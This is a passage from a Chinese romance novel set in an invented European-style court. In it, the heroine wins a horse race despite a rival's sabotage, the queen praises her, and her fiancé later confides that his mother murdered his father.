夕阳炽烈,马蹄飞驰出残影,狂风吹乱端庄的发髻。 伊莎贝尔随手扔掉发间的珍珠王冠,满头金发随风飘扬。 在众人的惊呼声中,那双冰蓝色的眼睛里却倒映着快活的笑。 这是她的人生游戏,唯自由与快乐至上,为此,她会竭尽全力! “布莱克,现在……” 她夹紧马腹,躬身俯首,盯着前方的背影,“超越他!” 像是被战意驱动,布莱克撒开四蹄,势如破竹! 萨克森少爷和众男士被甩出一个身位! 浅绿色的身影姿态飒爽,飞驰如电,耀眼的金发牵动全场的心神——所有人都为眼前这一幕讶然! 甚至有人举起手掌,却忘了拍,呆呆地张着嘴:“上帝啊……” 场地边缘,海因里希看着场上越众而出的那道身影,久久没有回神。 此刻,不会有人注意他长久的注视,因为没人能从金发姑娘身上移开目光。 本该开在花园里的百合,在战场盛开,美丽得惊心动魄! 比飒爽姿态更耀眼的是她脸上的神情,似乎明晃晃地昭告天下,她对胜利势在必得! 观众席,众人哗然,而后陷入诡异的沉默。 “永恒圣曜真主啊,是我出现幻觉了吗?!”有人惊掉下巴,不停地画着十字,甚至把完整的祝祷词都念了出来,祈求真主让自己清醒过来,至少告诉他不是一个女人赢得了比赛! 路易莎喃喃自语,眼睛瞪圆:“奥黛丽这可真是大出风头了!” 埃莉诺皱眉看着飘扬的绿色裙子,面色复杂:“我尽量不让老夫人知道她的孙媳妇跨坐在马背上,甚至穿得破破烂烂。” 萨克森太太与一众拥趸惊得连表情都忘记管理,“这怎么可能!杰克怎么会输?!” 更多的是如莉莉丝这样从惊诧到兴奋,不由得喝彩的:“太棒了!诺曼小姐太棒了!!” 年轻的贵族女士们大多会骑马,但繁琐的规矩为她们的双腿设置重重镣铐。 不能跨坐,不能疾行,要穿着优雅,要端庄美丽。勒紧的束胸让她们连呼吸都艰难。 美其名曰骑马,实际上和戴上花环、象征胜利的黇鹿没什么不同,都只是狩猎盛宴的点缀。 男人们的游戏里,似乎从没有看见过女人的身影,直到此刻—— 破碎的绿裙子在空中猎猎而舞,金发飘扬,英姿勃发! 如此的惊世骇俗,又是如此充满生机! 原来跨坐在马背上勇往直前的样子是那么美! 莉莉丝隐隐觉得,似乎有什么东西碎裂了! 她情不自禁看向身边呆滞的同伴们,被那道疾驰如电的身影吸引的人不止自己! 碎掉的镣铐,也不止一副。 不知是谁站起身,大声喊:“诺曼小姐!第一!” 莉莉丝挣脱母亲的手臂,跟着站起身喊:“奥黛丽·诺曼!第一!” 接二连三,不断有人高呼,很快喝彩声连成一片,“第一!第一!第一!” 这段插曲很短暂,贵族小姐们的自由总是有限,哪怕只是一声喝彩,不过几分钟,就被各自长辈制止。 可场上的人似乎已经听到了她们的呐喊。连带着布莱克气势磅礴,再次甩开枣红色骏马! 那一刻,萨克森少爷听见隔壁传来一声轻笑。 “享受失败吧,萨克森先生,但愿绅士不会哭鼻子。”冰蓝色的眼睛充满嘲讽,“不过我会发扬女士精神,为你递上擦眼泪的手帕。” 话音随着迅捷的身影擦肩而过,杰克看着远去的金发女人,脑子几乎空白—— 被她轻松超越的那一刻,萨克森少爷的牙齿快被咬碎! 刚才撂下的狠话似乎变成一记耳光,狠狠扇在自己脸上! ! 一个柔弱得手无缚鸡之力的女人居然嬴了他? ! 他可是萨克森家族继承人!锡兰公国未来选帝侯! ! 奇耻大辱! 这会令整个萨克森家族蒙羞,更会让他再也抬不起头! 终点近在眼前,如果再不采取行动,结果将毫无悬念! 带着倒刺的马鞭狠狠甩下!惊马仰天嘶鸣! 那一刻,他眸光滑过阴狠,转弯的前一秒,猛然斜冲向前方的黑马—— “噢!不!” 观众席哗然。 视野纵观全场,他们最能明白此刻的情形! 如果黑马被撞倒,以现在疾驰的速度,马背上的人一定会被掀出去!那可不再是比赛的输赢,而是关乎性命了! 萨克森位于视野盲区,伊莎贝尔没有看见身后飞奔而来的骏马,但本能地察觉危险将至! 在听到嘶鸣声的那一刻,身后的冲击带来空气流速的变化! 千分之一秒的时间里,伊莎贝尔几乎是立刻勒紧缰绳,控制布莱克避开身后的冲撞! 可是!来不及! 马速太快,即便布莱克已经足够灵敏,但也难以遏制拐弯的势头! 身后,枣红马横冲直撞而来!马背鲜血淋漓,瞳孔如它主人一般染上疯狂的红色! 即将撞上的那一秒,时间仿佛被拉长,空气紧张到停滞—— 观众席上,路易莎瞪大眼睛,捂着嘴:“不——” 埃莉诺在胸前画十字。 贝琪闭上眼睛不敢看。 莉莉丝倏然起身,手指发着抖。 索菲娅忘记呼吸,死死抓着折扇。 高台上,连女王都皱紧眉头! 就在所有人默认悲剧到来的那一刻,忽然,一支利箭破空而出,裹挟着惊人的锐气,直冲赛场—— 众人目瞪口呆,几乎不知道发生了什么! 路边,亲眼目睹一切的裁判久久没有回神。 那一幕发生在电光火石间,他还没有反应过来,身旁用于装饰的弓箭就被一双细白的手夺了过去,又以极其敏捷地速度瞄准身后的疯马! 场中央,夕阳斜照。 狂风裹挟着旷野的湿气扑面而来,吹得金发飞扬,而冰蓝色眼睛里却战意盎然,即便锋利的弓弦划伤掌心,她似乎也没有感觉疼痛! 逆光之下,伊莎贝尔以极其惊险的姿势夹着马腹,目光锐利,双手弯弓搭箭,如神话传说中的女武神—— 一箭穿云! “咻!” 几乎来不及看清,利箭直射马腹,枣红色骏马轰然倒地,连带着马上的萨克森少爷! 与此同时,另一支来自相反方向的箭擦着杰克的脸钉入泥土中,溅起一道血线! 如果说刚才只为她的骑术感到惊讶,那么此刻,这一手力挽狂澜的反应力,让所有懂行的人心服口服! ! 不顾众人的惊诧,伊莎贝尔目光平静,扔下弓箭直冲终点,回眸那一秒,她没有理会手段肮脏的失败者,只看向远处的男人。 那里,海因里希同时放下弓箭,二人视线短暂相交。 黑马一骑绝尘,发令官用低沉的腔调向所有人宣布——来自斯宾塞家的诺曼小姐,获胜! 长久的沉寂后,观众响起稀稀拉拉的掌声。 一部分还沉浸在刚才惊恐的情形中,一部分惊讶于居然是一个女人夺冠! “噢!杰克!”观众席,萨克森太太顾不得关心成败,她目眦欲裂,被人拦着才没冲上去! 萨克森公爵惊魂未定,喘了口气,才看向赛场边缘,仍然手持弓箭高大男人。 他看得一清二楚! 那女人的一箭射中的是马!但海因里希这一箭是冲着他儿子的命来的! ! 只差了一寸!那支箭就不是擦过杰克·萨克森的脸!而是贯穿他的脑袋! ! 萨克森公爵手指发着抖,后怕得没缓过神。下一秒,就见海因里希打了个响哨,随手招来一匹白马,直奔赛场而去。 那里,摔倒的杰克·萨克森鼻青脸肿,却因为是始作俑者,没有突如其来的冲撞,性命无碍! 他刚想起身,一抬头就被一记重拳砸得鼻血狂飙! “噢!你疯了吗海因?!” “住手!” “停下!” 陆续抵达终点的萨克森众人大叫着围拢上前。 海因里希冷笑,揪着杰克一拳接一拳。 满座皆惊! 萨克森公爵咆哮上前:“海因里希·斯宾塞!放开我儿子!当着女王的面!你想闹出人命吗?!” 萨克森众人团团围上前,与此同时,海因里希的身边也围满了斯宾塞家族众人,虎视眈眈看着对面。 男人眼神桀骜,把杰克打成一团烂泥才抬起头,唇边划过讽笑。 “老萨克森,你得庆幸这是在女王面前,否则……”他顿了顿,轻笑,“我会要了他的命。” 萨克森公爵打了个寒战,对上那双幽深黑眸,他知道这话是真的! 海因里希·斯宾塞就是个名副其实的疯子! !惹上疯子就相当于被鬣狗盯上,不撕扯下一块肉绝不会松口! 萨克森公爵咬牙忍怒,挥手让人把儿子抬下去。 萨克森太太哭得撕心裂肺,嚎叫地要女王给个公道。 侍从官围随着女王走下高台,众人纷纷行礼。 萨克森公爵:“女王陛下!斯宾塞家实在欺人太甚!杰克几乎被海因里希打死!我要求以锡兰公国律法惩处他!” 萨克森众人纷纷响应,斯宾塞家也不甘示弱,埃德蒙不忿道:“陛下!是杰克使绊子在先!凭什么惩处我们斯宾塞家!” 两拨人吵了起来。 当事人海因里希却神态自如,丝毫没有把人揍成猪头的愧疚感。 女王没有立刻回答,她早就听人报告了事情的始末。 “海因,你的陈述呢?” 海因里希平静道:“告我故意伤害可以,在此之前,先给蓄意谋杀我未婚妻的杰米·萨克森上绞刑。” “你!海因里希!你有什么证据证明他蓄意谋杀?!” “在场这么多双眼睛,包括女王的,都不会诬陷你们。”海因里希缓缓摸出腰间的火器,靠近萨克森公爵,压低声音,“再敢狡辩,必要的时候我会亲自执法,不信,你尽管试试!” 他眼底闪烁着疯狂的笑意,听过种种传闻的萨克森公爵深吸一口气,还是压住怒火。 不和疯子讲道理,是正常人的行事准则。 毕竟你不敢赌他的枪里有没有子弹! 女王沉吟片刻,忽然看向不远处,被人忽略的冠军女士。 “你的诉求呢?” 众人看向伊莎贝尔。 伊莎贝尔已经停在外围很久了,见所有人的视线聚焦在自己身上,她不慌不忙下马,颔首给女王行礼:“我嬴了,希望萨克森公爵一家别忘了愿赌服输,给我以及斯宾塞家族道歉。” “道歉?!你们斯宾塞行事霸道,还想我道歉?”萨克森公爵嚷嚷。 话音未落,只听“砰”地一声枪响! “天哪?!发生了什么?!”众人吓得发出惊叫! 萨克森公爵更是瞪大眼睛,下意识举起手,僵硬地看着眼前这一幕。 那匹被杰克·萨克森的鞭子抽得血肉模糊的枣红骏马倒在血泊里,停止痛苦的抽搐,安详闭眼。 布莱克哀鸣一声,凑上前蹭了蹭同类。 迎着海因里希的目光,伊莎贝尔淡定将火器插回他的腰间,仿佛刚才利落开枪的人不是她。 “人各有命,马亦然。”伊莎贝尔抚摸着布莱克的鬃毛,“也许对它而言,痛快结束生命是比被愚蠢的主人折磨致死更好的结局。我会好好安葬它。” 布莱克眨了眨湿润的眼睛,蹭了蹭伊莎贝尔的掌心。 萨克森颤抖着嘴唇,脸色青一阵白一阵! 他可不认为这个女人是在对马说话,她分明是指桑骂槐!借此威胁萨克森全家! 海因里希面对萨克森仇视的目光,并不想辩解,反倒默认似的站在未婚妻身后。两个人活像戏剧里的反派角色,让人恨得牙根痒痒。 他眉目冷峻,一字一顿道:“是的,要怪只能怪它有一位,不遵守规则、且不信守承诺的主人。” 萨克森脸色涨红: “你……你们!” 好啊!太嚣张了!一个动手揍他儿子!一个直接杀了萨克森家的马,把他们的脸面狠狠往地上踩! 这对夫妇太嚣张了! 萨克森还想说什么,抬头却对上女王冰冷的眼神,瞬间从怒火中抽身。 斯宾塞家虽然嚣张,但这次是自家理亏,场上所有人都不会站他们一边。 萨克森虽然与斯宾塞积怨已久,但斗争归斗争,作为选帝侯,很多时候不能闹得太难看。 输了不可怕,要是因为不肯低头闹出更多丑闻,只怕接下来墨伦维克一整年的谈资都是萨克森家。 想至此,萨克森公爵咬紧牙关,和萨克森众人一齐鞠躬。 “好,诺曼小姐,我们愿赌服输,向你致歉。” 斯宾塞家众人发出阵阵笑声,萨克森家脸色难看至极。 伊莎贝尔不疾不徐:“还有呢?” 萨克森公爵忍怒:“还有什么?!” 伊莎贝尔睨着被抬走的杰克,轻笑:“萨克森家族的男士在比赛中公然舞弊,按照规矩,应该怎么做?” 海因里希顺势接口:“向受害者道歉,并把这个不遵守规则的废物禁赛。” “你们别欺人太甚?!受害者?!现在受害的是我儿子!而你未婚妻毫发无损!” “你难道认为杰克对我手下留情了吗?萨克森公爵?”伊莎贝尔淡淡抬眸,面色冷然。 闻言,众人面面相觑,心知这位女士能活下来可不是靠杰克心慈手软,而是她自己本事大! 萨克森公爵语塞,还想找借口,只听一道严肃的女声响起。 “够了,萨克森公爵,别失了气度。”站在女王身边的第一秘书洛娜开口。 萨克森明白,这是女王的意思。 他深吸一口气,俯身向伊莎贝尔颔首:“我替杰克,向你致歉。每一位骑士都应该遵守诚信,我承诺,萨克森家族未来一年都不再参与任何一场狩猎比赛。” 墨伦维克社交圈就这么大,这意味着顶级权贵今天丢掉的脸,会成为首都未来整年的笑柄。 刚才志得意满的萨克森小伙们个个灰头土脸,恨不得把头埋进地底! 反观斯宾塞家族以埃德蒙为首的人,畅快之心溢于言表,比出风头的正主还高兴。 埃德蒙还想冷嘲热讽两句,而后被伊莎贝尔扫了一眼,似乎在说:我赢得的胜利,关你什么事? 一时间,他笑容僵住,眸光滑过愤恨。想了想,到底忍住。 当着女王的面,闹出这种争端毕竟不雅,菲利普公爵赶紧打圆场,两边都说了几句好话,又叫来医生给杰克诊治,矛盾就算翻篇了。 在场的家族都很体面,顺势揭开其他话题,场面再次和谐。 女王回到高台,看着准备牵马下场的伊莎贝尔,忽然示意侍卫官让大家安静。 众人以为女王要宣布大事,纷纷行注目礼。 只听她用和蔼的声音道:“诸位,我们还欠胜利者掌声。” 伊莎贝尔有些意外,脚步顿住。 有女王的号召,不知是谁率先鼓掌,而后连成一片,掌声雷动。 这一次,不再是属于小部分群体的喝彩,而是货真价实的胜利祝贺。 观众席,莉莉丝不顾母亲阻拦,激动得快把巴掌拍红。 路易莎沉默良久,还是敷衍地应和了两声。 索菲娅眸光带笑,和女儿对视一眼,为未来的斯宾塞公爵夫人喝彩。 埃莉诺看了眼高台上的女王,胸前画十字,再看向安然无恙的伊莎贝尔,终于松了口气。 海因里希不知在想什么,伫立良久,懒散地鼓了两声掌。 他看着那道亮眼的身影,眼前浮现她弯弓搭箭的画面。 来自不同方向,却同时射向目标的箭矢,就像他们两个人一样。 彼此道路不同,去往的终点却一致。 各自锐利,各自拥有毕露锋芒。 拿起弓箭前,他来不及思考。 即将射出那支箭时,他对上那双坚定的蓝眼睛,于是瞄准的方向偏移,擦着杰克的脸而过。 漫长而迅速的瞬间,他忽然明白,诺曼小姐是个能绝境反击的强者,即便没有援助之箭,胜利依然会属于她。 …… 雷鸣般的掌声里,伊莎贝尔破碎的绿裙子随风摇曳,金发垂肩,脸庞笑容温和。 明明是不堪的模样,她却自信伸出双手,而后面对众人俯身鞠躬,坦然地接受胜利的祝贺。 再抬眸,冰蓝色的眼睛直视人群里高大的身影,与他对视。 她歪了歪头,眸中带笑,毫不掩饰眼底的挑衅。 用口型说:“我赢了。” 海因里希唇边无意识扬起笑,很快意识到什么,低头掩饰,又摆出冷酷的模样。 等那道视线移开,他才抬头—— 夕阳彻底落下,她披着残红,发丝都带着光。 像极了初见那天,查尔维斯的狩猎盛宴上,他越过重重人群走向她。 将代表胜利的黇鹿送给未来公爵夫人。 此刻,她自己夺下了胜利,耀眼无比—— 作者有话说:姐姐姐夫CP:对抗路夫妇日常! 第33章 波折丛生但还算圆满的盛会, 在欢呼声中落幕。 众人起身目送女王离开。 侍卫官开道,第一秘书洛娜陪伴左右。临走时,女王突然叫住秘书:“洛娜, 帮我把那位诺曼小姐请过来。” 洛娜微怔,很快照办。 伊莎贝尔来不及整理仪容,索性穿着破裙子,随手将头发挽成发髻,走到女王面前屈膝行礼。 “陛下,奥黛丽·诺曼向您问安。” “请起身,不必多礼。”女王的声音响起。 伊莎贝尔抬眸。 女王出行, 身边的大小侍卫官很多。 之前,她只是人群里不起眼的预备役贵妇,能有资格远远地看着这位帝国统治者露面,已算殊荣。 甚至包括宴会厅弹琴,得到女王两句点评,就足以令众贵妇高看她一眼。 这些无不说明,超然的地位天然代表着权威。 此时此刻, 她离女王很近,这才真正看清帝国统治者的面孔。 塞拉菲娜·奥古斯特女王并不如想象中的威严冷酷, 瞳孔里盈满和蔼的笑。 “你的骑术很出众,奥黛丽。” 伊莎贝尔微笑:“听闻女王当年还是公主时, 也曾力压群雄夺得马术冠军,锡兰公国的女士都以您为表率。” 女王:“那都是过去的事了。” 伊莎贝尔不紧不慢:“我今天再次夺冠,就意味着这段历史延续至今,您的精神仍在。” 女王眼底滑过欣赏:“看来你还拥有非凡的口才与智慧。” “再加上一点敢于表现的勇气。”伊莎贝尔挑眉,毫不畏缩地说俏皮话。 女王果然笑了起来。 身旁的第一秘书洛娜不由得侧目,重新审视这位出身不高, 但聪慧敏锐的女孩。 “再见,奥黛丽。”女王向伊莎贝尔伸手,是上位者表示友好的方式,“希望下次还能见识你更多的才华。” “谢谢陛下。”伊莎贝尔轻吻女王手背,笑着说,“不过下次见面应该是您见证我与斯宾塞先生的婚礼。” “期待那一天的到来。”女王笑着点头,旋即带领众人离开。 这么一段很简短的插曲,在等级森严的贵族圈掀起不小的涟漪。 受到女王赏识的诺曼小姐、未来的斯宾塞公爵夫人,正式进入墨伦维克社交圈。 首都重地,云集全锡兰的顶级贵族,所有家族的风吹草动,都逃不过他们的眼睛。 现在,伊莎贝尔身边围满了恭维的贵妇,与最开始无人问津的画面截然不同。 莉莉丝带领着一众陌生的年轻小姐上前攀谈、辛西娅夫人热情洋溢,周到地为她们彼此介绍。 路易莎并不乐意锦上添花,翻着白眼离开。 霍华德太太捏着鼻子前来道贺,伊莎贝尔却像听不见,只和别人寒暄。 霍华德太太脸色铁青,正憋着火,好在索菲娅和贝琪适时赶到,免了她的尴尬。 伊莎贝尔一边和旁人说话,一边抬眸,和人群里的索菲娅对视。 打发完霍华德太太,索菲娅微笑上前:“亲爱的,请别误会。我为潘妮解围并非有意和你作对。” 伊莎贝尔轻笑:“当然,在交际方面姑妈显然比我高明,至少明天墨伦维克不会传出我跋扈傲慢的名声。” “的确,在墨伦维克行走的女人们不得不注意一言一行。今天随意踩死的蚂蚁,来日或许就是拦路的大象。”索菲娅笑道:“我以为意气风发的小姐不会理解这份用心,你真是个聪明女孩。” “人生不会永远一帆风顺,凡事留有余地也是为自己留退路。”伊莎贝尔颔首。 索菲娅莞尔:“噢,是这样没错。但姑妈可不想当一个爱说教的长辈,大道理还是留给埃莉诺讲。现在聊聊你的婚礼吧,好孩子。” “承您的情。” 过多渲染善意会适得其反,索菲娅深谙其道。二人聊起别的趣事。 贝琪和菲利普夫妇也上前交谈,场面其乐融融。 看得出来,年轻夫妻俩相处和谐,新郎菲利普也很尊重他的岳母,并不因为索菲娅的身份而显露轻蔑。 这在墨伦维克的世界里,还真是个稀有品。 伊莎贝尔不着痕迹地判断众人,初步肯定索菲娅为女儿择婿的眼光。 抛开别的不提,索菲娅是伊莎贝尔很欣赏的那一类聊天对象。 聪明且富有情商,进退得宜又不乏风趣。 这种得体的姿态让她想起玛丽姨妈。二者身上都拥有同一种风度。 只是,玛丽姨妈更多的是凭借灵魂里的独特魅力与人交际,没有讨好感。 这并非说索菲娅没有魅力,相反,她甚至比玛丽更加令人如沐春风,只是太过舒适的相处一定是有人在其中让步。 大多数受益者不介意这一点,但不包括伊莎贝尔。 比起舒适而精巧的对话,她更喜欢真实但有瑕疵的人。 索菲娅无疑是个完美交际者,不过,伊莎贝尔不打算在她身上浪费太多时间。 应付两句,伊莎贝尔以更衣为由,牵着布莱克退出赛马场。 菲利普家的庄园坐落于墨伦维克北郊,占地虽然没有查尔维斯大,但胜在风景别致,闲时散步,很有一番趣味。 暮色降临,城堡里的晚宴已经开始,伊莎贝尔却牵着马远离人群。 晚风拂面,布莱克温驯地低头吃草。 伊莎贝尔干脆躺在草地上,双手枕在脑后看星星。 布莱克很有灵性,他是一匹刚成年的小马,赛场上烈如骄阳,平日却很乖巧。看见主人躺下,他着急地跑来,用鼻子拱来拱去,大眼睛眨啊眨,像是在问她怎么了。 伊莎贝尔忍不住发笑,布莱克的眼神让她想到奥黛丽,那双水蓝色的大眼睛也是这么纯澈。 “我没事,布莱克,请享用你的晚餐吧。”伊莎贝尔抚摸小马的发辫。 这个辫子也不知道是谁扎的,歪七扭八,很丑。 强迫症犯了,伊莎贝尔坐起身,给布莱克重新编辫子。 进行到一半,身后草地响起脚步声。 “谁允许你擅自动它的发型?”男人隔着一段距离,也躺在草坪上。 伊莎贝尔充耳不闻:“布莱克,你主人的审美堪忧,为你的形象着想,你不介意我帮你吧?” 布莱克一边吃着草,一边打了个响鼻,像是在回应。 “蠢死了!” 海因里希冷哼一声,捡起两根草扔向布莱克,小马嘴一张,嚼嚼嚼。 “你欠我的道歉呢?斯宾塞先生。”伊莎贝尔漫不经心道,“别以为我会忘记。” “我答应你了吗?”海因里希揪着草薅一把,嗤笑,“至少我仍然不认为你和我结婚是明智的选择。” “我有得选?” “我给过你重新选的机会。” “但我拒绝。” 两个人你一言我一语,火药味又开始弥漫。 双方陷入沉默,耳边唯有夏日夜晚的蝉鸣。 海因里希看着天上的星星,突然说:“你应该听说过吧,我是个疯子。” 伊莎贝尔侧眸,手上漫不经心地为布莱克编辫子,“听说过,传闻你被魔鬼附体,还杀了来祝祷的牧师,帮你驱邪的吉普赛女人就差把查尔维斯的秘辛传播到世界尽头。” 海因里希嗤笑一声,“如果我说传闻都是真的呢,你会怎么想?” 伊莎贝尔动作顿住,眸光微动,面上不动声色:“那我确实没想到,吉普赛女人真有驱邪的本事。” 海因里希没说话,只是盯着她看了一会儿。 “你知道我在说什么,我的确杀了那个牧师。” 他顿了顿,眼瞳幽深:“你能接受未来的丈夫是个疯子?或许哪天犯了病,就会杀了自己的枕边人?” 有那么一瞬间,伊莎贝尔觉得他视线如跗骨之蛆,泛着凉意,诡异而病态。 再抬头,却分明还是那张冷峻的脸。 伊莎贝尔不着痕迹地垂眸,掩饰内心一闪而过的疑虑。 她向来敏锐。 到目前为止,无论海因里希再怎么表现出冷酷专横,行事底线还是维持在正人君子的范畴里,有些时候甚至严肃过头了。 哪怕是刚才暴怒之下痛揍小萨克森,放在热衷斗殴的雄性身上再正常不过,所以,伊莎贝尔从没有将海因里希和传闻中的疯子划上等号。 可就在刚才,第六感敲响警钟,提示她这个人身上有一闪而过的阴鸷气息,哪怕只有数秒。 被那样的目光注视,就像被毒蛇暗中窥伺。它悄悄缠上四肢,密密麻麻的恐怖瞬间蔓延四肢百骸。 这和平日里的海因里希截然不同,像硬币的两面。 伊莎贝尔不着痕迹地审视着男人,可那种异样却消失殆尽,像是错觉。 “害怕了?现在结束还来得及。”听见身边久久没有回应,海因里希头枕手臂,语气稀松平常。 伊莎贝尔静静与他对视,像在分辨他话里的真假,语气什么也没发现似的寡淡。 “害怕什么?传闻只是传闻。”她说,“还是那句话,一开始我没得选。既然选了,不管你是个疯子,还是个傻子,这条路我照走不误。” “奥黛丽。”海因里希盯着她,良久,偏过头冷笑:“你把斯宾塞家族想得太简单,更把这条路想得太轻松。” “那现在我有资格听到真相吗?” 伊莎贝尔编好辫子,顺势躺下。 风中吹来青草的香味,二人隔着不远的距离,同样枕着手臂望向夜空。 不知过了多久,伊莎贝尔听见隔壁传来声音。 “你所认为的斯宾塞家族是什么样的?” 伊莎贝尔突然想到安德鲁登门时的自我介绍,半开玩笑道:“神圣锡兰公国七大家族之首;祖先曾屡建奇功延续荣耀近三百年;常任七大选帝侯之一,包揽领地自治管辖权的斯宾塞?” 海因里希跟着笑了起来。 夜色掩盖了他眼底的情绪,让语气听起来很轻松,“是延续三百年没错,但已经没有了自治权。” 他顿了顿,“甚至没有兵权,没有赋税权,除了查尔维斯庄园以外,什么都没有,是个只剩名号的花架子。” 伊莎贝尔笑意渐收,夜风竟无端让人觉出寒凉。 斯宾塞没有了管辖权? 什么意思? ! 伊莎贝尔并不是对这个世界一无所知,相反,她是个极擅长收集信息的人。 关于斯宾塞家族,来之前她已经了解过。 从元勋玛格丽特袭爵开始,斯宾塞家族手握重兵三百年。正因为绝对的武力压制,七大选帝侯才永远有它一席之地。 萨克森作为北伐战争才起家的新兴势力,如今也不过一百五十年,虽然近年纷争不断,但论底蕴,还是比不过斯宾塞。 假如对方得知斯宾塞失去管辖权,像今天的这样的争端,他们还会让步吗? 如果这件事是秘密,那么谁才能剥夺斯宾塞的军权还能瞒天过海,维持各方势力的表面平衡? ! 既然收回斯宾塞的权柄,又为什么还留着这个家族?为了确保七大选帝侯的和平? 那是谁有这样的动机和权柄? 一连串的疑问接踵而至,伊莎贝尔看向海因里希,眸光深沉。 他似乎猜到她心中所想,唇边滑过讽笑:“很难以置信?如果我再告诉你,从我祖父和父亲出事那天起,斯宾塞的权柄就已经消失了呢?” 伊莎贝尔很快反应过来:“他们的死难道不是意外?” 海因里希眼底翻滚着剧烈的情绪,他闭上眼。 “久经沙场的帝国双壁,怎么会对敌人的偷袭没有防备?”他深吸一口气,看着夜空,神色晦暗,“他们只会倒在自己人的手下。” 伊莎贝尔联想起斯宾塞家的权力斗争:“是你叔叔,埃德蒙的父亲乔伊斯?” “他?”海因里希不加掩饰地嘲讽,“不过是想趁机上位,被我踢开的、有野心没能力的废物,和埃德蒙一样的蠢货。” 不是乔伊斯? “那是?”伊莎贝尔眸光微动,看向海因里希。 夜空下,他眸色渐深,没有立刻回答。 蝉鸣忽寂,微风卷起枯枝枯叶,发出簌簌声响。 在伊莎贝尔看不见的角度里,他瞳孔泛红,手臂青筋暴起。 似乎想到某种不堪回首的往事,连血液都在颤抖。 那股嗜血的冲动再次涌上心头,蔓延四肢百骸…… 仿佛又回到上战场的那天,他眼前血红一片。祖父和父亲的尸体烧成焦炭,从报废的车厢里抬出来。很快,侍卫押着一个女人来到他面前。 那个女人脸上疯癫的笑,海因里希至今忘不了。 她笑容狰狞,几乎趴到海因里希的脸上,那双与他相似的眼睛里满是阴鸷。 “海因,是我杀了路德维希!”她嗓音嘶哑,脸上在笑,眼睛却像在哭,神情诡异,“是我……杀了你父亲!” 在她身后,路德维希永远地闭上眼睛,那个沉默寡言但正直勇敢的男人再也不会醒来。 海因里希眼神空茫。 短暂的数秒后,枪声突然炸响,侍卫被夺走的火器从女人手中滑落。 众人惊呼声中,她倒在血泊里,胸前破开血洞,温热而刺目的红色汩汩流淌。 血液溅到他的脸上,甚至有一滴逃进黝黑的眼睛里,瞬间将视野染成猩红。 漫天血色间,女人奄奄一息却面容安详,嘴唇翕动,似乎说了什么。 他极力想听清,却什么也听不见。 …… 感觉那股阴冷的气息再次席卷而来,伊莎贝尔皱眉看着垂眸的男人:“你怎么了?” “海因里希?” “海因?!”她重复几遍。 海因里希回过神,还没开口,就见伊莎贝尔一巴掌拍在自己的脸上。 “啪!” 清脆的巴掌声在寂静的夜晚分外响亮。 沉默再次蔓延。 “……?” 海因里希感受脸上火辣辣的疼痛,顶了顶腮帮,与伊莎贝尔四目相对。 伊莎贝尔扭了扭手腕,坦然道:“我看你好像昏倒了,叫醒你。” “我在想事情。”海因里希语气很差。 “那你想到了吗?”伊莎贝尔淡定发问,一边打着嗡嗡乱飞的蚊子,“是谁有本事谋害斯宾塞家的掌权人?” 海因里希深吸一口气,平静道:“是我母亲。” 伊莎贝尔愣住,没想到他这么直接地说出答案。 海因里希的母亲不是普通人,她出身王室,是女王的亲妹妹,名唤乔治安娜·奥古斯特。 这是一位较为神秘的公主,外界对她知之甚少,根据流传出来的消息,听说是很温柔美丽的女士。 看海因里希刚才的神情,当年一定发生过无比惨烈的事情,才会导致后续一系列的连锁反应。 伊莎贝尔无意识地揪住野草绕圈,这是她陷入思考的动作。 所以,乔治安娜怎么会和杀人犯挂上钩?而且死者还是自己的丈夫? 忽然,海因里希平淡道:“你可以理解为,我母亲是个疯子,她为了自己的信仰,杀了我父亲。” “信仰?你是说……” 伊莎贝尔思索这句话里包含的巨大信息。 锡兰公国以圣曜教会为本,唯一称得上信仰的,无非只有金字塔尖的那个人。 说实话,伊莎贝尔根本不信仰任何神明,所谓教会对她而言也不过是个吉祥物。 但对于这个时代的大多数人而言,信仰的力量几乎能撼动一切。 可是,自从三百年前护国战役后,圣曜教会势力早已独立于王权之外,二者维持着微妙的平衡。 到底什么争端会导致乔治安娜杀害斯宾塞老公爵父子?教会与乔治安娜又有什么关系?斯宾塞家族妨碍了教会权力? 还是……真的只是像海因里希说的那样,他母亲是个疯子?以一己之力搅乱浑水,导致斯宾塞大权旁落? 不,如果只是这样,整件事就太过离奇了。 她忽然明白了那句话,斯宾塞家族比想象的要复杂,背后涉及的冲突,至少没有一开始预计的“兄弟阋墙”那么简单。 空气陷入沉静,连布莱克都停下了咀嚼的动作。 伊莎贝尔从思绪中抽离,静静看着闭眼的海因里希。 抛开那些复杂的算计,亲眼看着自己的母亲杀了父亲,他的痛苦难以想象…… 伊莎贝尔虽然想刨根问底,但看着此刻的他,还是作罢。 良久,却听见身边一声冷笑:“干什么?同情我?” 伊莎贝尔平静移开视线:“这算得了什么?世上比你苦的人很多。” “这样就对了。”海因里希翻了个白眼,“我说这些只是想告诉你,你嫁的是个有遗传精神病的疯子,家里还有一堆乱七八糟的破事,准备好接受挑战吗?女士?” 伊莎贝尔垂眸,再次审视着海因里希的神情。哪怕是给自己贴上精神病的标签,这一刻他的状态仍旧坦然。 阳光下的阴影,似乎真的是自己的错觉。 但是……她从不会有错觉。 是痛苦记忆所带来的后遗症?仅仅只是关于母亲吗? 海因里希的身上也存在疑团,一连串的疑问涌上心头,却不是追问的时机。 伊莎贝尔重新收敛好神情,挑眉道:“我的答案从未更改,倒是你,这是不退婚的意思了?” 海因里希顿了顿,冷笑:“说到这个地步你还想来试试深浅,我拦得住你吗?” “好,那就达成共识了。”伊莎贝尔面不改色,“另外,欠我的道歉呢?” 海因里希沉默。 伊莎贝尔嗤笑一声,拍了拍身上的草。 起身瞬间,夜风吹动她的金发,柔顺的发丝顺着风的方向扫过海因里希的脸。 夜色里,她忽然听见一道很低的声音:“抱歉。” 伊莎贝尔佯装听不见,“声音大点,你在说什么?” 海因里希倏然坐起身,冷哼:“我说,抱歉!听见了吗?” 伊莎贝尔挑眉,悠然转身。 “听见了,斯宾塞先生,希望下次你质疑我的时候,声音小一点。否则,你当时说话多么硬气,现在道歉就得多么狼狈。” 她牵着布莱克慢慢走向城堡。 身后有人起身跟上,三两步走到她前面,夺过缰绳。 “坐上去。”他语气很坏。 伊莎贝尔扫了眼凌乱的裙摆,依稀可见雪白的小腿露在外面,被蚊子咬了几个包。 她笑了笑,利落地上马。 月上中天,城堡里传来音乐声。 海因里希牵着布莱克漫步,扎着满脑袋辫子的小马载着他的未婚妻。 伊莎贝尔坐在马上,还能分出心神细看眼前的男人。 月光照着棱角分明的侧脸,他唇角紧抿,总是一副生人勿近的冷酷表情。 说的话,做的事,倒没那么差劲。 